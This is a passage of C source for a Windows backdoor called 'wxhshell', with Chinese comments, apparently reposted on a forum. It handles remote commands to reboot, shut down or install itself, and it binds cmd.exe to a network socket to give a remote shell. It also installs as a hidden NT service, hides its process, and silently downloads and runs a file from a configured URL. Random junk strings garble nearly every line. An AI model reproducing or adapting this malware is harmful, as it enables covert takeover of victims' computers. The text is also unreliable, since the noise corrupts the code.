  ;=6EBP%  
  // 帮助 ,^DP  
  case '?': { B^d di  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3Y&4yIx  
    break; =([4pG  
  } dt"&  
  // 安装 _8\B~;0  
  case 'i': { &rl;+QS  
    if(Install()) roBb8M|q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~_g{P3  
    else @S>;t)\J  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); OkCAvRg  
    break; | :id/  
    } )%lPKp4]  
  // 卸载 {2i8]Sp1d/  
  case 'r': { K%Bz6 ~  
    if(Uninstall()) V\l@_%D[(v  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "7j E&I  
    else 4G XS(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :AI%{EV-L  
    break; :)&vf<JL  
    } $TK= :8HY  
  // 显示 wxhshell 所在路径 ooC9a>X  
  case 'p': { A(cR/$fn6  
    char svExeFile[MAX_PATH]; ;BKU _}k=  
    strcpy(svExeFile,"\n\r"); (Q8r2*L  
      strcat(svExeFile,ExeFile); #l3)3k* ;  
        send(wsh,svExeFile,strlen(svExeFile),0); Tf? `_jL  
    break; .*.eY?,V  
    } sH > zsc  
  // 重启 rUAt`ykTmN  
  case 'b': { m - hZ5 i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 8%xBSob{j  
    if(Boot(REBOOT)) 1-&L-c.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =);@<Jp  
    else { j['B9vG  
    closesocket(wsh); Z_ Y'#5o#  
    ExitThread(0); ~l*<LXp8  
    } x($Djx  
    break; uU^iY$w  
    } 5}Xi`'g,  
  // 关机 ]0j_yX  
  case 'd': { mZjpPlJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ndgx@LTQQ  
    if(Boot(SHUTDOWN)) 9.il1mAKg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  _+(@?  
    else { (oG.A  
    closesocket(wsh); j-DWz>x  
    ExitThread(0); t V>qV\>  
    } N]6t)Zv  
    break; e0otr_)3F  
    } %~P T7"4  
  // 获取shell %H,s~IU  
  case 's': { D{[{&1\)r  
    CmdShell(wsh); ?,8+1"|$A]  
    closesocket(wsh); XrWWV2[  
    ExitThread(0); 5C^@w  
    break; I3d}DpPx%  
  } $$"G1<EZ  
  // 退出 +%u3% }  
  case 'x': { =9,^Tu|  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); >}W[>WReI  
    CloseIt(wsh); HXztEEK6  
    break; =  
    } J_-fs#[x  
  // 离开 E-FR w  
  case 'q': { a7453s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); %~gI+0HK  
    closesocket(wsh);  X)+6>\  
    WSACleanup(); r\Kcg~D>  
    exit(1); =6"5kz10  
    break; ^NRf  
        } I0z7bx  
  } o0|Ex\  
  } F"O\uo:3  
eF9GhwE=  
  // 提示信息 VuH ->  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); <JU3sXl  
} 2lOUNxQ$  
  } =WBfaxL}  
TsGx2[  
  return; Q~VM.G  
} /kg#i&bP~  
u *rP 8GuS  
// shell模块句柄 '[%#70*  
int CmdShell(SOCKET sock) P)J-'2{  
{ 't0M+_J  
STARTUPINFO si; fwV2b<[  
ZeroMemory(&si,sizeof(si)); L/`1K_\l  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :zLf~ W  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; T<? kH  
PROCESS_INFORMATION ProcessInfo; FO:L+&hr?>  
char cmdline[]="cmd"; ^\?Rh(pu  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s&-MJ05y  
  return 0; aekke//y  
} *kg->J  
|iUC\F=-  
// 自身启动模式 g$?^bu dxv  
int StartFromService(void) Q{L:pce-  
{ l:uQ#Z)  
typedef struct V K 7  
{ >X' -J{4R  
  DWORD ExitStatus; WKlyOK=}  
  DWORD PebBaseAddress; jy?*`q1]  
  DWORD AffinityMask;  gu[EYg  
  DWORD BasePriority; *Q/^ib9=  
  ULONG UniqueProcessId; bvB', yBZ  
  ULONG InheritedFromUniqueProcessId; J ~3m7  
}   PROCESS_BASIC_INFORMATION; t^FE]$,  
fx[&"$X  
PROCNTQSIP NtQueryInformationProcess; 1BZ##xV*:G  
3Z=yCec]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;p`to"6IFD  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~uty<fP  
/pPH D]  
  HANDLE             hProcess; PQ[?zNrSV  
  PROCESS_BASIC_INFORMATION pbi; X )tH23  
h72/03!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); V3q`V/\  
  if(NULL == hInst ) return 0; hRu}P"  
$5)#L$!,]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); NimgU Fa  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (EY@{'.&  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ,.>9$(s  
Y6VJr+Ap(  
  if (!NtQueryInformationProcess) return 0; 4^l9d  
4oiE@y&{4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `cXLa=B)9  
  if(!hProcess) return 0; >RkaFcq  
t~/:St  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ":M]3.  
pF-_yyQ  
  CloseHandle(hProcess); sIg TSdk  
t:fz%IOe  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fJc(  
if(hProcess==NULL) return 0; u@#%SX  
f(D'qV T{  
HMODULE hMod; uH%b rbrU  
char procName[255]; PR:B6 F8  
unsigned long cbNeeded; h]ae^M  
L,y q=%h|  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8xgBNQdPT  
jc Mn   
  CloseHandle(hProcess); }%/mPbd#  
XNJZ~Mowb  
if(strstr(procName,"services")) return 1; // 以服务启动 #xGP|:m  
j;]I -M[  
  return 0; // 注册表启动 vHcl7=)Q  
} 6dr 'nP  
\EVT*v=}/  
// 主模块 Y $v#>w_M  
int StartWxhshell(LPSTR lpCmdLine) jeRE(3'Q  
{ Y^!qeY  
  SOCKET wsl; SefhOh^,V  
BOOL val=TRUE; @M4c/k}  
  int port=0; y1%OH#:duD  
  struct sockaddr_in door; JR.)CzC  
-EP1Rl`\  
  if(wscfg.ws_autoins) Install(); M*gvYo  
ue@/o,C>  
port=atoi(lpCmdLine); 9S@x  
#&Tm%CvB  
if(port<=0) port=wscfg.ws_port; |nx3x  
xz!0BG  
  WSADATA data; Sc>mw   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 'sUOi7U  
81{8F  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   49=pB,H;H  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); l%"DeRp,/  
  door.sin_family = AF_INET; hHJvLs>^  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); k4LrUd  
  door.sin_port = htons(port); }vZf&ib-   
-J+1V{  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ~iH a^i?2*  
closesocket(wsl); :a;F3NJ  
return 1; @e3+Gs  
} O~V^]   
q< q IT  
  if(listen(wsl,2) == INVALID_SOCKET) { KMIe%2:b5  
closesocket(wsl); ?m]vk|>  
return 1; Dnw^H.  
} {. 9BG&  
  Wxhshell(wsl); auK9wQ%\  
  WSACleanup(); by @qg:  
@iuX~QA[9  
return 0; :k1?I'q%  
azv173XZ  
} )v_Wn[Y.H  
T"vf   
// 以NT服务方式启动 Q/]~`S  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) cmXbkM  
{ VU,G.eLW  
DWORD   status = 0; #wIWh^^ Zy  
  DWORD   specificError = 0xfffffff; |hika`35K  
3k/E$wOj  
  serviceStatus.dwServiceType     = SERVICE_WIN32; \[3~*eX6  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h6D4CT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; md+pS"8o;  
  serviceStatus.dwWin32ExitCode     = 0; yor'"6)i  
  serviceStatus.dwServiceSpecificExitCode = 0; <jV,VKL#  
  serviceStatus.dwCheckPoint       = 0; QNx]8r  
  serviceStatus.dwWaitHint       = 0; }qECpKa0  
RQ8d1US  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Nq`;\E.M  
  if (hServiceStatusHandle==0) return; qG;tD>jy  
ZcXAqep8'  
status = GetLastError(); ,:(s=J N+  
  if (status!=NO_ERROR) C;m"W5+  
{ H^n@9U;[K  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; C5dM`_3L  
    serviceStatus.dwCheckPoint       = 0; c%pf,sm'  
    serviceStatus.dwWaitHint       = 0; $~FZJ@qa  
    serviceStatus.dwWin32ExitCode     = status; 0 (-4"u>?  
    serviceStatus.dwServiceSpecificExitCode = specificError; hc q&`Gun  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); %oa@2qJ^  
    return; GO"|^W  
  } bfz7t!A)A  
-z`%x@F<&L  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qF~9:`  
  serviceStatus.dwCheckPoint       = 0; $f3IO#N  
  serviceStatus.dwWaitHint       = 0; <)T| HKx  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?3BcjD0  
} o @L0ET  
n3~axRPO  
// 处理NT服务事件,比如:启动、停止 GoybkwFjZ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w~6UOA8}  
{ g0zzDv7~  
switch(fdwControl) Mrrpm% Y  
{ >IaGa!4  
case SERVICE_CONTROL_STOP: oI ick  
  serviceStatus.dwWin32ExitCode = 0; BQ Pmo1B  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; gaz7u8$A=  
  serviceStatus.dwCheckPoint   = 0; 5]dlD #  
  serviceStatus.dwWaitHint     = 0; \"ahs7ABT  
  { N0w?c 5>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); <h:xZtz  
  } nvrh7l9nX  
  return; ^.LB(GZ,  
case SERVICE_CONTROL_PAUSE: 95'+8*YCY  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; {`SMxDevc}  
  break; kMVr[q,MEq  
case SERVICE_CONTROL_CONTINUE: O`y3H lc  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; GLO3v. n;  
  break; _:9}RT?  
case SERVICE_CONTROL_INTERROGATE: es6YxMg  
  break; e}?Q&Lci  
}; 4O-LLH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [Kc?<3W  
} j<kW+Iio  
Am*IC?@tq  
// 标准应用程序主函数 B%\&Q @X  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) htbE Q NW  
{ I;'{X_9$a  
Nt $4;  
// 获取操作系统版本 ]Y I9  
OsIsNt=GetOsVer(); u1X^#K$nu'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9o>D Uc  
CPy>sV3Ru0  
  // 从命令行安装 >)M1X?HI5  
  if(strpbrk(lpCmdLine,"iI")) Install(); .@)vJtH)  
&YY`XEG59O  
  // 下载执行文件 ;:bp?(  
if(wscfg.ws_downexe) { M584dMM  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 5{b;wLi$X2  
  WinExec(wscfg.ws_filenam,SW_HIDE); O;RBK&P  
} *S*49Hq7c  
zk{d*gN  
if(!OsIsNt) { "e"#k}z9  
// 如果时win9x,隐藏进程并且设置为注册表启动 EF<TU.)Zf  
HideProc(); 2|bt"y-5r  
StartWxhshell(lpCmdLine); kfnh1|D=aY  
} Qq:}Z7 H  
else Q$5 t~*$`  
  if(StartFromService()) 4\-11!'08  
  // 以服务方式启动 =?C <@  
  StartServiceCtrlDispatcher(DispatchTable); k( 0;>)<i  
else nRBS&&V  
  // 普通方式启动 6,YoP|@0  
  StartWxhshell(lpCmdLine); 3 zh:~w_  
7k*  
return 0; a^l)vh{+  
}
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只看该作者 1 发表于: 2006-10-10
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